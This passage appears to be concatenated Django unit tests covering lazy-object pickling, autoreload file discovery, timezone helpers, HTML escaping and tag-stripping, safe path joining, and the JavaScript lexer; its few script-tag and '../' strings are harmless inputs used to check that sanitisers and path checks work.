    def __eq__(self, other):
        if self.__class__ != other.__class__:
            return False
        for attr in ['bar', 'baz', 'quux']:
            if hasattr(self, attr) != hasattr(other, attr):
                return False
            elif getattr(self, attr, None) != getattr(other, attr, None):
                return False
        return True


class Baz(BaseBaz):
    """
    A class that inherits from BaseBaz and has its own __reduce_ex__ method.
    """
    def __init__(self, bar):
        self.bar = bar
        super(Baz, self).__init__()

    def __reduce_ex__(self, proto):
        self.quux = 'quux'
        return super(Baz, self).__reduce_ex__(proto)


class BazProxy(Baz):
    """
    A class that acts as a proxy for Baz. It does some scary mucking about with
    dicts, which simulates some crazy things that people might do with
    e.g. proxy models.
    """
    def __init__(self, baz):
        self.__dict__ = baz.__dict__
        self._baz = baz
        super(BaseBaz, self).__init__()


class SimpleLazyObjectPickleTestCase(TestCase):
    """
    Regression test for pickling a SimpleLazyObject wrapping a model (#25389).
    Also covers other classes with a custom __reduce__ method.
    """
    def test_pickle_with_reduce(self):
        """
        Test in a fairly synthetic setting.
        """
        # Test every pickle protocol available
        for protocol in range(pickle.HIGHEST_PROTOCOL + 1):
            lazy_objs = [
                SimpleLazyObject(lambda: BaseBaz()),
                SimpleLazyObject(lambda: Baz(1)),
                SimpleLazyObject(lambda: BazProxy(Baz(2))),
            ]
            for obj in lazy_objs:
                pickled = pickle.dumps(obj, protocol)
                unpickled = pickle.loads(pickled)
                self.assertEqual(unpickled, obj)
                self.assertEqual(unpickled.baz, 'right')

    def test_pickle_model(self):
        """
        Test on an actual model, based on the report in #25426.
        """
        category = Category.objects.create(name="thing1")
        CategoryInfo.objects.create(category=category)
        # Test every pickle protocol available
        for protocol in range(pickle.HIGHEST_PROTOCOL + 1):
            lazy_category = SimpleLazyObject(lambda: category)
            # Test both if we accessed a field on the model and if we didn't.
            lazy_category.categoryinfo
            lazy_category_2 = SimpleLazyObject(lambda: category)
            with warnings.catch_warnings(record=True) as recorded:
                self.assertEqual(pickle.loads(pickle.dumps(lazy_category, protocol)), category)
                self.assertEqual(pickle.loads(pickle.dumps(lazy_category_2, protocol)), category)
                # Assert that there were no warnings.
                self.assertEqual(len(recorded), 0)






from django.test import SimpleTestCase
from django.utils.deprecation import CallableFalse, CallableTrue


class TestCallableBool(SimpleTestCase):
    def test_true(self):
        self.assertTrue(CallableTrue)
        self.assertEqual(CallableTrue, True)
        self.assertFalse(CallableTrue != True)  # noqa: E712
        self.assertNotEqual(CallableTrue, False)

    def test_false(self):
        self.assertFalse(CallableFalse)
        self.assertEqual(CallableFalse, False)
        self.assertFalse(CallableFalse != False)  # noqa: E712
        self.assertNotEqual(CallableFalse, True)






import os
import shutil
import tempfile
from importlib import import_module

from django import conf
from django.contrib import admin
from django.test import SimpleTestCase, override_settings
from django.test.utils import extend_sys_path
from django.utils import autoreload
from django.utils._os import npath

LOCALE_PATH = os.path.join(os.path.dirname(__file__), 'locale')


class TestFilenameGenerator(SimpleTestCase):

    def clear_autoreload_caches(self):
        autoreload._cached_modules = set()
        autoreload._cached_filenames = []

    def assertFileFound(self, filename):
        self.clear_autoreload_caches()
        # Test uncached access
        self.assertIn(npath(filename), autoreload.gen_filenames())
        # Test cached access
        self.assertIn(npath(filename), autoreload.gen_filenames())

    def assertFileNotFound(self, filename):
        self.clear_autoreload_caches()
        # Test uncached access
        self.assertNotIn(npath(filename), autoreload.gen_filenames())
        # Test cached access
        self.assertNotIn(npath(filename), autoreload.gen_filenames())

    def assertFileFoundOnlyNew(self, filename):
        self.clear_autoreload_caches()
        # Test uncached access
        self.assertIn(npath(filename), autoreload.gen_filenames(only_new=True))
        # Test cached access
        self.assertNotIn(npath(filename), autoreload.gen_filenames(only_new=True))

    def test_django_locales(self):
        """
        Test that gen_filenames() yields the built-in Django locale files.
        """
        django_dir = os.path.join(os.path.dirname(conf.__file__), 'locale')
        django_mo = os.path.join(django_dir, 'nl', 'LC_MESSAGES', 'django.mo')
        self.assertFileFound(django_mo)

    @override_settings(LOCALE_PATHS=[LOCALE_PATH])
    def test_locale_paths_setting(self):
        """
        Test that gen_filenames also yields from LOCALE_PATHS locales.
        """
        locale_paths_mo = os.path.join(LOCALE_PATH, 'nl', 'LC_MESSAGES', 'django.mo')
        self.assertFileFound(locale_paths_mo)

    @override_settings(INSTALLED_APPS=[])
    def test_project_root_locale(self):
        """
        Test that gen_filenames also yields from the current directory (project
        root).
        """
        old_cwd = os.getcwd()
        os.chdir(os.path.dirname(__file__))
        current_dir = os.path.join(os.path.dirname(__file__), 'locale')
        current_dir_mo = os.path.join(current_dir, 'nl', 'LC_MESSAGES', 'django.mo')
        try:
            self.assertFileFound(current_dir_mo)
        finally:
            os.chdir(old_cwd)

    @override_settings(INSTALLED_APPS=['django.contrib.admin'])
    def test_app_locales(self):
        """
        Test that gen_filenames also yields from locale dirs in installed apps.
        """
        admin_dir = os.path.join(os.path.dirname(admin.__file__), 'locale')
        admin_mo = os.path.join(admin_dir, 'nl', 'LC_MESSAGES', 'django.mo')
        self.assertFileFound(admin_mo)

    @override_settings(USE_I18N=False)
    def test_no_i18n(self):
        """
        If i18n machinery is disabled, there is no need for watching the
        locale files.
        """
        django_dir = os.path.join(os.path.dirname(conf.__file__), 'locale')
        django_mo = os.path.join(django_dir, 'nl', 'LC_MESSAGES', 'django.mo')
        self.assertFileNotFound(django_mo)

    def test_paths_are_native_strings(self):
        for filename in autoreload.gen_filenames():
            self.assertIsInstance(filename, str)

    def test_only_new_files(self):
        """
        When calling a second time gen_filenames with only_new = True, only
        files from newly loaded modules should be given.
        """
        dirname = tempfile.mkdtemp()
        filename = os.path.join(dirname, 'test_only_new_module.py')
        self.addCleanup(shutil.rmtree, dirname)
        with open(filename, 'w'):
            pass

        # Test uncached access
        self.clear_autoreload_caches()
        filenames = set(autoreload.gen_filenames(only_new=True))
        filenames_reference = set(autoreload.gen_filenames())
        self.assertEqual(filenames, filenames_reference)

        # Test cached access: no changes
        filenames = set(autoreload.gen_filenames(only_new=True))
        self.assertEqual(filenames, set())

        # Test cached access: add a module
        with extend_sys_path(dirname):
            import_module('test_only_new_module')
        filenames = set(autoreload.gen_filenames(only_new=True))
        self.assertEqual(filenames, {npath(filename)})

    def test_deleted_removed(self):
        """
        When a file is deleted, gen_filenames() no longer returns it.
        """
        dirname = tempfile.mkdtemp()
        filename = os.path.join(dirname, 'test_deleted_removed_module.py')
        self.addCleanup(shutil.rmtree, dirname)
        with open(filename, 'w'):
            pass

        with extend_sys_path(dirname):
            import_module('test_deleted_removed_module')
        self.assertFileFound(filename)

        os.unlink(filename)
        self.assertFileNotFound(filename)

    def test_check_errors(self):
        """
        When a file containing an error is imported in a function wrapped by
        check_errors(), gen_filenames() returns it.
        """
        dirname = tempfile.mkdtemp()
        filename = os.path.join(dirname, 'test_syntax_error.py')
        self.addCleanup(shutil.rmtree, dirname)
        with open(filename, 'w') as f:
            f.write("Ceci n'est pas du Python.")

        with extend_sys_path(dirname):
            with self.assertRaises(SyntaxError):
                autoreload.check_errors(import_module)('test_syntax_error')
        self.assertFileFound(filename)

    def test_check_errors_only_new(self):
        """
        When a file containing an error is imported in a function wrapped by
        check_errors(), gen_filenames(only_new=True) returns it.
        """
        dirname = tempfile.mkdtemp()
        filename = os.path.join(dirname, 'test_syntax_error.py')
        self.addCleanup(shutil.rmtree, dirname)
        with open(filename, 'w') as f:
            f.write("Ceci n'est pas du Python.")

        with extend_sys_path(dirname):
            with self.assertRaises(SyntaxError):
                autoreload.check_errors(import_module)('test_syntax_error')
        self.assertFileFoundOnlyNew(filename)

    def test_check_errors_catches_all_exceptions(self):
        """
        Since Python may raise arbitrary exceptions when importing code,
        check_errors() must catch Exception, not just some subclasses.
        """
        dirname = tempfile.mkdtemp()
        filename = os.path.join(dirname, 'test_exception.py')
        self.addCleanup(shutil.rmtree, dirname)
        with open(filename, 'w') as f:
            f.write("raise Exception")

        with extend_sys_path(dirname):
            with self.assertRaises(Exception):
                autoreload.check_errors(import_module)('test_exception')
        self.assertFileFound(filename)






import copy
import datetime
import pickle
import sys
import unittest

from django.test import SimpleTestCase, override_settings
from django.utils import timezone

try:
    import pytz
except ImportError:
    pytz = None

requires_pytz = unittest.skipIf(pytz is None, "this test requires pytz")

if pytz is not None:
    CET = pytz.timezone("Europe/Paris")
EAT = timezone.get_fixed_timezone(180)      # Africa/Nairobi
ICT = timezone.get_fixed_timezone(420)      # Asia/Bangkok

PY36 = sys.version_info >= (3, 6)


class TimezoneTests(SimpleTestCase):

    def test_localtime(self):
        now = datetime.datetime.utcnow().replace(tzinfo=timezone.utc)
        local_tz = timezone.LocalTimezone()
        local_now = timezone.localtime(now, local_tz)
        self.assertEqual(local_now.tzinfo, local_tz)

    def test_localtime_naive(self):
        now = datetime.datetime.now()
        if PY36:
            self.assertEqual(timezone.localtime(now), now.replace(tzinfo=timezone.LocalTimezone()))
        else:
            with self.assertRaisesMessage(ValueError, 'astimezone() cannot be applied to a naive datetime'):
                timezone.localtime(now)

    def test_localtime_out_of_range(self):
        local_tz = timezone.LocalTimezone()
        long_ago = datetime.datetime(1900, 1, 1, tzinfo=timezone.utc)
        try:
            timezone.localtime(long_ago, local_tz)
        except (OverflowError, ValueError) as exc:
            self.assertIn("install pytz", exc.args[0])
        else:
            self.skipTest("Failed to trigger an OverflowError or ValueError")

    def test_now(self):
        with override_settings(USE_TZ=True):
            self.assertTrue(timezone.is_aware(timezone.now()))
        with override_settings(USE_TZ=False):
            self.assertTrue(timezone.is_naive(timezone.now()))

    def test_override(self):
        default = timezone.get_default_timezone()
        try:
            timezone.activate(ICT)

            with timezone.override(EAT):
                self.assertIs(EAT, timezone.get_current_timezone())
            self.assertIs(ICT, timezone.get_current_timezone())

            with timezone.override(None):
                self.assertIs(default, timezone.get_current_timezone())
            self.assertIs(ICT, timezone.get_current_timezone())

            timezone.deactivate()

            with timezone.override(EAT):
                self.assertIs(EAT, timezone.get_current_timezone())
            self.assertIs(default, timezone.get_current_timezone())

            with timezone.override(None):
                self.assertIs(default, timezone.get_current_timezone())
            self.assertIs(default, timezone.get_current_timezone())
        finally:
            timezone.deactivate()

    def test_override_decorator(self):
        default = timezone.get_default_timezone()

        @timezone.override(EAT)
        def func_tz_eat():
            self.assertIs(EAT, timezone.get_current_timezone())

        @timezone.override(None)
        def func_tz_none():
            self.assertIs(default, timezone.get_current_timezone())

        try:
            timezone.activate(ICT)

            func_tz_eat()
            self.assertIs(ICT, timezone.get_current_timezone())

            func_tz_none()
            self.assertIs(ICT, timezone.get_current_timezone())

            timezone.deactivate()

            func_tz_eat()
            self.assertIs(default, timezone.get_current_timezone())

            func_tz_none()
            self.assertIs(default, timezone.get_current_timezone())
        finally:
            timezone.deactivate()

    def test_copy(self):
        self.assertIsInstance(copy.copy(timezone.UTC()), timezone.UTC)
        self.assertIsInstance(copy.copy(timezone.LocalTimezone()), timezone.LocalTimezone)

    def test_deepcopy(self):
        self.assertIsInstance(copy.deepcopy(timezone.UTC()), timezone.UTC)
        self.assertIsInstance(copy.deepcopy(timezone.LocalTimezone()), timezone.LocalTimezone)

    def test_pickling_unpickling(self):
        self.assertIsInstance(pickle.loads(pickle.dumps(timezone.UTC())), timezone.UTC)
        self.assertIsInstance(pickle.loads(pickle.dumps(timezone.LocalTimezone())), timezone.LocalTimezone)

    def test_is_aware(self):
        self.assertTrue(timezone.is_aware(datetime.datetime(2011, 9, 1, 13, 20, 30, tzinfo=EAT)))
        self.assertFalse(timezone.is_aware(datetime.datetime(2011, 9, 1, 13, 20, 30)))

    def test_is_naive(self):
        self.assertFalse(timezone.is_naive(datetime.datetime(2011, 9, 1, 13, 20, 30, tzinfo=EAT)))
        self.assertTrue(timezone.is_naive(datetime.datetime(2011, 9, 1, 13, 20, 30)))

    def test_make_aware(self):
        self.assertEqual(
            timezone.make_aware(datetime.datetime(2011, 9, 1, 13, 20, 30), EAT),
            datetime.datetime(2011, 9, 1, 13, 20, 30, tzinfo=EAT))
        with self.assertRaises(ValueError):
            timezone.make_aware(datetime.datetime(2011, 9, 1, 13, 20, 30, tzinfo=EAT), EAT)

    def test_make_naive(self):
        self.assertEqual(
            timezone.make_naive(datetime.datetime(2011, 9, 1, 13, 20, 30, tzinfo=EAT), EAT),
            datetime.datetime(2011, 9, 1, 13, 20, 30))
        self.assertEqual(
            timezone.make_naive(datetime.datetime(2011, 9, 1, 17, 20, 30, tzinfo=ICT), EAT),
            datetime.datetime(2011, 9, 1, 13, 20, 30))

        args = (datetime.datetime(2011, 9, 1, 13, 20, 30), EAT)
        if PY36:
            self.assertEqual(timezone.make_naive(*args), datetime.datetime(2011, 9, 1, 21, 20, 30))
        else:
            with self.assertRaisesMessage(ValueError, 'astimezone() cannot be applied to a naive datetime'):
                timezone.make_naive(*args)

    @requires_pytz
    def test_make_aware2(self):
        self.assertEqual(
            timezone.make_aware(datetime.datetime(2011, 9, 1, 12, 20, 30), CET),
            CET.localize(datetime.datetime(2011, 9, 1, 12, 20, 30)))
        with self.assertRaises(ValueError):
            timezone.make_aware(CET.localize(datetime.datetime(2011, 9, 1, 12, 20, 30)), CET)

    @requires_pytz
    def test_make_aware_pytz(self):
        self.assertEqual(
            timezone.make_naive(CET.localize(datetime.datetime(2011, 9, 1, 12, 20, 30)), CET),
            datetime.datetime(2011, 9, 1, 12, 20, 30))
        self.assertEqual(
            timezone.make_naive(
                pytz.timezone("Asia/Bangkok").localize(datetime.datetime(2011, 9, 1, 17, 20, 30)), CET
            ),
            datetime.datetime(2011, 9, 1, 12, 20, 30))
        with self.assertRaises(ValueError):
            timezone.make_naive(datetime.datetime(2011, 9, 1, 12, 20, 30), CET)

    @requires_pytz
    def test_make_aware_pytz_ambiguous(self):
        # 2:30 happens twice, once before DST ends and once after
        ambiguous = datetime.datetime(2015, 10, 25, 2, 30)

        with self.assertRaises(pytz.AmbiguousTimeError):
            timezone.make_aware(ambiguous, timezone=CET)

        std = timezone.make_aware(ambiguous, timezone=CET, is_dst=False)
        dst = timezone.make_aware(ambiguous, timezone=CET, is_dst=True)
        self.assertEqual(std - dst, datetime.timedelta(hours=1))
        self.assertEqual(std.tzinfo.utcoffset(std), datetime.timedelta(hours=1))
        self.assertEqual(dst.tzinfo.utcoffset(dst), datetime.timedelta(hours=2))

    @requires_pytz
    def test_make_aware_pytz_non_existent(self):
        # 2:30 never happened due to DST
        non_existent = datetime.datetime(2015, 3, 29, 2, 30)

        with self.assertRaises(pytz.NonExistentTimeError):
            timezone.make_aware(non_existent, timezone=CET)

        std = timezone.make_aware(non_existent, timezone=CET, is_dst=False)
        dst = timezone.make_aware(non_existent, timezone=CET, is_dst=True)
        self.assertEqual(std - dst, datetime.timedelta(hours=1))
        self.assertEqual(std.tzinfo.utcoffset(std), datetime.timedelta(hours=1))
        self.assertEqual(dst.tzinfo.utcoffset(dst), datetime.timedelta(hours=2))

        # round trip to UTC then back to CET
        std = timezone.localtime(timezone.localtime(std, timezone.UTC()), CET)
        dst = timezone.localtime(timezone.localtime(dst, timezone.UTC()), CET)
        self.assertEqual((std.hour, std.minute), (3, 30))
        self.assertEqual((dst.hour, dst.minute), (1, 30))






# -*- coding: utf-8 -*-
from __future__ import unicode_literals

import os
from datetime import datetime

from django.test import SimpleTestCase
from django.utils import html, safestring, six
from django.utils._os import upath
from django.utils.encoding import force_text
from django.utils.functional import lazystr


class TestUtilsHtml(SimpleTestCase):

    def check_output(self, function, value, output=None):
        """
        Check that function(value) equals output.  If output is None,
        check that function(value) equals value.
        """
        if output is None:
            output = value
        self.assertEqual(function(value), output)

    def test_escape(self):
        f = html.escape
        items = (
            ('&', '&amp;'),
            ('<', '&lt;'),
            ('>', '&gt;'),
            ('"', '&quot;'),
            ("'", '&#39;'),
        )
        # Substitution patterns for testing the above items.
        patterns = ("%s", "asdf%sfdsa", "%s1", "1%sb")
        for value, output in items:
            for pattern in patterns:
                self.check_output(f, pattern % value, pattern % output)
                self.check_output(f, lazystr(pattern % value), pattern % output)
            # Check repeated values.
            self.check_output(f, value * 2, output * 2)
        # Verify it doesn't double replace &.
        self.check_output(f, '<&', '&lt;&amp;')

    def test_format_html(self):
        self.assertEqual(
            html.format_html("{} {} {third} {fourth}",
                             "< Dangerous >",
                             html.mark_safe("<b>safe</b>"),
                             third="< dangerous again",
                             fourth=html.mark_safe("<i>safe again</i>")
                             ),
            "&lt; Dangerous &gt; <b>safe</b> &lt; dangerous again <i>safe again</i>"
        )

    def test_linebreaks(self):
        f = html.linebreaks
        items = (
            ("para1\n\npara2\r\rpara3", "<p>para1</p>\n\n<p>para2</p>\n\n<p>para3</p>"),
            ("para1\nsub1\rsub2\n\npara2", "<p>para1<br />sub1<br />sub2</p>\n\n<p>para2</p>"),
            ("para1\r\n\r\npara2\rsub1\r\rpara4", "<p>para1</p>\n\n<p>para2<br />sub1</p>\n\n<p>para4</p>"),
            ("para1\tmore\n\npara2", "<p>para1\tmore</p>\n\n<p>para2</p>"),
        )
        for value, output in items:
            self.check_output(f, value, output)
            self.check_output(f, lazystr(value), output)

    def test_strip_tags(self):
        f = html.strip_tags
        items = (
            ('<p>See: &#39;&eacute; is an apostrophe followed by e acute</p>',
             'See: &#39;&eacute; is an apostrophe followed by e acute'),
            ('<adf>a', 'a'),
            ('</adf>a', 'a'),
            ('<asdf><asdf>e', 'e'),
            ('hi, <f x', 'hi, <f x'),
            ('234<235, right?', '234<235, right?'),
            ('a4<a5 right?', 'a4<a5 right?'),
            ('b7>b2!', 'b7>b2!'),
            ('</fe', '</fe'),
            ('<x>b<y>', 'b'),
            ('a<p onclick="alert(\'<test>\')">b</p>c', 'abc'),
            ('a<p a >b</p>c', 'abc'),
            ('d<a:b c:d>e</p>f', 'def'),
            ('<strong>foo</strong><a href="http://example.com">bar</a>', 'foobar'),
            # caused infinite loop on Pythons not patched with
            # http://bugs.python.org/issue20288
            ('&gotcha&#;<>', '&gotcha&#;<>'),
        )
        for value, output in items:
            self.check_output(f, value, output)
            self.check_output(f, lazystr(value), output)

        # Some convoluted syntax for which parsing may differ between python versions
        output = html.strip_tags('<sc<!-- -->ript>test<<!-- -->/script>')
        self.assertNotIn('<script>', output)
        self.assertIn('test', output)
        output = html.strip_tags('<script>alert()</script>&h')
        self.assertNotIn('<script>', output)
        self.assertIn('alert()', output)

        # Test with more lengthy content (also catching performance regressions)
        for filename in ('strip_tags1.html', 'strip_tags2.txt'):
            path = os.path.join(os.path.dirname(upath(__file__)), 'files', filename)
            with open(path, 'r') as fp:
                content = force_text(fp.read())
                start = datetime.now()
                stripped = html.strip_tags(content)
                elapsed = datetime.now() - start
            self.assertEqual(elapsed.seconds, 0)
            self.assertIn("Please try again.", stripped)
            self.assertNotIn('<', stripped)

    def test_strip_spaces_between_tags(self):
        f = html.strip_spaces_between_tags
        # Strings that should come out untouched.
        items = (' <adf>', '<adf> ', ' </adf> ', ' <f> x</f>')
        for value in items:
            self.check_output(f, value)
            self.check_output(f, lazystr(value))
        # Strings that have spaces to strip.
        items = (
            ('<d> </d>', '<d></d>'),
            ('<p>hello </p>\n<p> world</p>', '<p>hello </p><p> world</p>'),
            ('\n<p>\t</p>\n<p> </p>\n', '\n<p></p><p></p>\n'),
        )
        for value, output in items:
            self.check_output(f, value, output)
            self.check_output(f, lazystr(value), output)

    def test_escapejs(self):
        f = html.escapejs
        items = (
            ('"double quotes" and \'single quotes\'', '\\u0022double quotes\\u0022 and \\u0027single quotes\\u0027'),
            (r'\ : backslashes, too', '\\u005C : backslashes, too'),
            (
                'and lots of whitespace: \r\n\t\v\f\b',
                'and lots of whitespace: \\u000D\\u000A\\u0009\\u000B\\u000C\\u0008'
            ),
            (r'<script>and this</script>', '\\u003Cscript\\u003Eand this\\u003C/script\\u003E'),
            (
                'paragraph separator:\u2029and line separator:\u2028',
                'paragraph separator:\\u2029and line separator:\\u2028'
            ),
        )
        for value, output in items:
            self.check_output(f, value, output)
            self.check_output(f, lazystr(value), output)

    def test_smart_urlquote(self):
        quote = html.smart_urlquote
        # Ensure that IDNs are properly quoted
        self.assertEqual(quote('http://öäü.com/'), 'http://xn--4ca9at.com/')
        self.assertEqual(quote('http://öäü.com/öäü/'), 'http://xn--4ca9at.com/%C3%B6%C3%A4%C3%BC/')
        # Ensure that everything unsafe is quoted, !*'();:@&=+$,/?#[]~ is considered safe as per RFC
        self.assertEqual(quote('http://example.com/path/öäü/'), 'http://example.com/path/%C3%B6%C3%A4%C3%BC/')
        self.assertEqual(quote('http://example.com/%C3%B6/ä/'), 'http://example.com/%C3%B6/%C3%A4/')
        self.assertEqual(quote('http://example.com/?x=1&y=2+3&z='), 'http://example.com/?x=1&y=2+3&z=')
        self.assertEqual(quote('http://example.com/?x=<>"\''), 'http://example.com/?x=%3C%3E%22%27')
        self.assertEqual(quote('http://example.com/?q=http://example.com/?x=1%26q=django'),
                         'http://example.com/?q=http%3A%2F%2Fexample.com%2F%3Fx%3D1%26q%3Ddjango')
        self.assertEqual(quote('http://example.com/?q=http%3A%2F%2Fexample.com%2F%3Fx%3D1%26q%3Ddjango'),
                         'http://example.com/?q=http%3A%2F%2Fexample.com%2F%3Fx%3D1%26q%3Ddjango')

    def test_conditional_escape(self):
        s = '<h1>interop</h1>'
        self.assertEqual(html.conditional_escape(s),
                         '&lt;h1&gt;interop&lt;/h1&gt;')
        self.assertEqual(html.conditional_escape(safestring.mark_safe(s)), s)

    def test_html_safe(self):
        @html.html_safe
        class HtmlClass(object):
            if six.PY2:
                def __unicode__(self):
                    return "<h1>I'm a html class!</h1>"
            else:
                def __str__(self):
                    return "<h1>I'm a html class!</h1>"

        html_obj = HtmlClass()
        self.assertTrue(hasattr(HtmlClass, '__html__'))
        self.assertTrue(hasattr(html_obj, '__html__'))
        self.assertEqual(force_text(html_obj), html_obj.__html__())

    def test_html_safe_subclass(self):
        if six.PY2:
            class BaseClass(object):
                def __html__(self):
                    # defines __html__ on its own
                    return 'some html content'

                def __unicode__(self):
                    return 'some non html content'

            @html.html_safe
            class Subclass(BaseClass):
                def __unicode__(self):
                    # overrides __unicode__ and is marked as html_safe
                    return 'some html safe content'
        else:
            class BaseClass(object):
                def __html__(self):
                    # defines __html__ on its own
                    return 'some html content'

                def __str__(self):
                    return 'some non html content'

            @html.html_safe
            class Subclass(BaseClass):
                def __str__(self):
                    # overrides __str__ and is marked as html_safe
                    return 'some html safe content'

        subclass_obj = Subclass()
        self.assertEqual(force_text(subclass_obj), subclass_obj.__html__())

    def test_html_safe_defines_html_error(self):
        msg = "can't apply @html_safe to HtmlClass because it defines __html__()."
        with self.assertRaisesMessage(ValueError, msg):
            @html.html_safe
            class HtmlClass(object):
                def __html__(self):
                    return "<h1>I'm a html class!</h1>"

    def test_html_safe_doesnt_define_str(self):
        method_name = '__unicode__()' if six.PY2 else '__str__()'
        msg = "can't apply @html_safe to HtmlClass because it doesn't define %s." % method_name
        with self.assertRaisesMessage(ValueError, msg):
            @html.html_safe
            class HtmlClass(object):
                pass






from __future__ import unicode_literals

import pickle

from django.contrib.auth.models import User
from django.test import TestCase
from django.utils import six
from django.utils.functional import SimpleLazyObject


class TestUtilsSimpleLazyObjectDjangoTestCase(TestCase):

    def test_pickle_py2_regression(self):
        # See ticket #20212
        user = User.objects.create_user('johndoe', 'john@example.com', 'pass')
        x = SimpleLazyObject(lambda: user)

        # This would fail with "TypeError: can't pickle instancemethod objects",
        # only on Python 2.X.
        pickle.dumps(x)

        # Try the variant protocol levels.
        pickle.dumps(x, 0)
        pickle.dumps(x, 1)
        pickle.dumps(x, 2)

        if six.PY2:
            import cPickle

            # This would fail with "TypeError: expected string or Unicode object, NoneType found".
            cPickle.dumps(x)






import os
import unittest

from django.core.exceptions import SuspiciousFileOperation
from django.utils._os import safe_join


class SafeJoinTests(unittest.TestCase):
    def test_base_path_ends_with_sep(self):
        drive, path = os.path.splitdrive(safe_join("/abc/", "abc"))
        self.assertEqual(
            path,
            "{0}abc{0}abc".format(os.path.sep)
        )

    def test_root_path(self):
        drive, path = os.path.splitdrive(safe_join("/", "path"))
        self.assertEqual(
            path,
            "{}path".format(os.path.sep),
        )

        drive, path = os.path.splitdrive(safe_join("/", ""))
        self.assertEqual(
            path,
            os.path.sep,
        )

    def test_parent_path(self):
        with self.assertRaises(SuspiciousFileOperation):
            safe_join("/abc/", "../def")






# -*- coding: utf-8 -*-
"""Tests for jslex."""
# originally from https://bitbucket.org/ned/jslex
from __future__ import unicode_literals

from django.test import SimpleTestCase
from django.utils.jslex import JsLexer, prepare_js_for_gettext


class JsTokensTest(SimpleTestCase):
    LEX_CASES = [
        # ids
        ("a ABC $ _ a123", ["id a", "id ABC", "id $", "id _", "id a123"]),
        ("\\u1234 abc\\u0020 \\u0065_\\u0067", ["id \\u1234", "id abc\\u0020", "id \\u0065_\\u0067"]),
        # numbers
        ("123 1.234 0.123e-3 0 1E+40 1e1 .123", [
            "dnum 123", "dnum 1.234", "dnum 0.123e-3", "dnum 0", "dnum 1E+40",
            "dnum 1e1", "dnum .123",
        ]),
        ("0x1 0xabCD 0XABcd", ["hnum 0x1", "hnum 0xabCD", "hnum 0XABcd"]),
        ("010 0377 090", ["onum 010", "onum 0377", "dnum 0", "dnum 90"]),
        ("0xa123ghi", ["hnum 0xa123", "id ghi"]),
        # keywords
        ("function Function FUNCTION", ["keyword function", "id Function", "id FUNCTION"]),
        ("const constructor in inherits", ["keyword const", "id constructor", "keyword in", "id inherits"]),
        ("true true_enough", ["reserved true", "id true_enough"]),
        # strings
        (''' 'hello' "hello" ''', ["string 'hello'", 'string "hello"']),
        (r""" 'don\'t' "don\"t" '"' "'" '\'' "\"" """, [
            r"""string 'don\'t'""", r'''string "don\"t"''', r"""string '"'""",
            r'''string "'"''', r"""string '\''""", r'''string "\""'''
        ]),
        (r'"ƃuıxǝ⅂ ʇdıɹɔsɐʌɐſ\""', [r'string "ƃuıxǝ⅂ ʇdıɹɔsɐʌɐſ\""']),
        # comments
        ("a//b", ["id a", "linecomment //b"]),
        ("/****/a/=2//hello", ["comment /****/", "id a", "punct /=", "dnum 2", "linecomment //hello"]),
        ("/*\n * Header\n */\na=1;", ["comment /*\n * Header\n */", "id a", "punct =", "dnum 1", "punct ;"]),
        # punctuation
        ("a+++b", ["id a", "punct ++", "punct +", "id b"]),
        # regex
        (r"a=/a*/,1", ["id a", "punct =", "regex /a*/", "punct ,", "dnum 1"]),
        (r"a=/a*[^/]+/,1", ["id a", "punct =", "regex /a*[^/]+/", "punct ,", "dnum 1"]),
        (r"a=/a*\[^/,1", ["id a", "punct =", r"regex /a*\[^/", "punct ,", "dnum 1"]),
        (r"a=/\//,1", ["id a", "punct =", r"regex /\//", "punct ,", "dnum 1"]),

        # next two are from http://www.mozilla.org/js/language/js20-2002-04/rationale/syntax.html#regular-expressions
        ("""for (var x = a in foo && "</x>" || mot ? z:/x:3;x<5;y</g/i) {xyz(x++);}""",
            ["keyword for", "punct (", "keyword var", "id x", "punct =", "id a", "keyword in",
            "id foo", "punct &&", 'string "</x>"', "punct ||", "id mot", "punct ?", "id z",
            "punct :", "regex /x:3;x<5;y</g", "punct /", "id i", "punct )", "punct {",
            "id xyz", "punct (", "id x", "punct ++", "punct )", "punct ;", "punct }"]),
        ("""for (var x = a in foo && "</x>" || mot ? z/x:3;x<5;y</g/i) {xyz(x++);}""",
            ["keyword for", "punct (", "keyword var", "id x", "punct =", "id a", "keyword in",
            "id foo", "punct &&", 'string "</x>"', "punct ||", "id mot", "punct ?", "id z",
            "punct /", "id x", "punct :", "dnum 3", "punct ;", "id x", "punct <", "dnum 5",
            "punct ;", "id y", "punct <", "regex /g/i", "punct )", "punct {",
            "id xyz", "punct (", "id x", "punct ++", "punct )", "punct ;", "punct }"]),

        # Various "illegal" regexes that are valid according to the std.
        (r"""/????/, /++++/, /[----]/ """, ["regex /????/", "punct ,", "regex /++++/", "punct ,", "regex /[----]/"]),

        # Stress cases from http://stackoverflow.com/questions/5533925/what-javascript-constructs-does-jslex-incorrectly-lex/5573409#5573409  # NOQA
        (r"""/\[/""", [r"""regex /\[/"""]),
        (r"""/[i]/""", [r"""regex /[i]/"""]),
        (r"""/[\]]/""", [r"""regex /[\]]/"""]),
        (r"""/a[\]]/""", [r"""regex /a[\]]/"""]),
        (r"""/a[\]]b/""", [r"""regex /a[\]]b/"""]),
        (r"""/[\]/]/gi""", [r"""regex /[\]/]/gi"""]),
        (r"""/\[[^\]]+\]/gi""", [r"""regex /\[[^\]]+\]/gi"""]),
        ("""
            rexl.re = {
            NAME: /^(?![0-9])(?:\w)+|^"(?:[^"]|"")+"/,
            UNQUOTED_LITERAL: /^@(?:(?![0-9])(?:\w|\:)+|^"(?:[^"]|"")+")\[[^\]]+\]/,
            QUOTED_LITERAL: /^'(?:[^']|'')*'/,
            NUMERIC_LITERAL: /^[0-9]+(?:\.[0-9]*(?:[eE][-+][0-9]+)?)?/,
            SYMBOL: /^(?:==|=|<>|<=|<|>=|>|!~~|!~|~~|~|!==|!=|!~=|!~|!|&|\||\.|\:|,|\(|\)|\[|\]|\{|\}|\?|\:|;|@|\^|\/\+|\/|\*|\+|-)/
            };
        """,  # NOQA
        ["id rexl", "punct .", "id re", "punct =", "punct {",
         "id NAME", "punct :", r"""regex /^(?![0-9])(?:\w)+|^"(?:[^"]|"")+"/""", "punct ,",
         "id UNQUOTED_LITERAL", "punct :", r"""regex /^@(?:(?![0-9])(?:\w|\:)+|^"(?:[^"]|"")+")\[[^\]]+\]/""",
         "punct ,",
         "id QUOTED_LITERAL", "punct :", r"""regex /^'(?:[^']|'')*'/""", "punct ,",
         "id NUMERIC_LITERAL", "punct :", r"""regex /^[0-9]+(?:\.[0-9]*(?:[eE][-+][0-9]+)?)?/""", "punct ,",
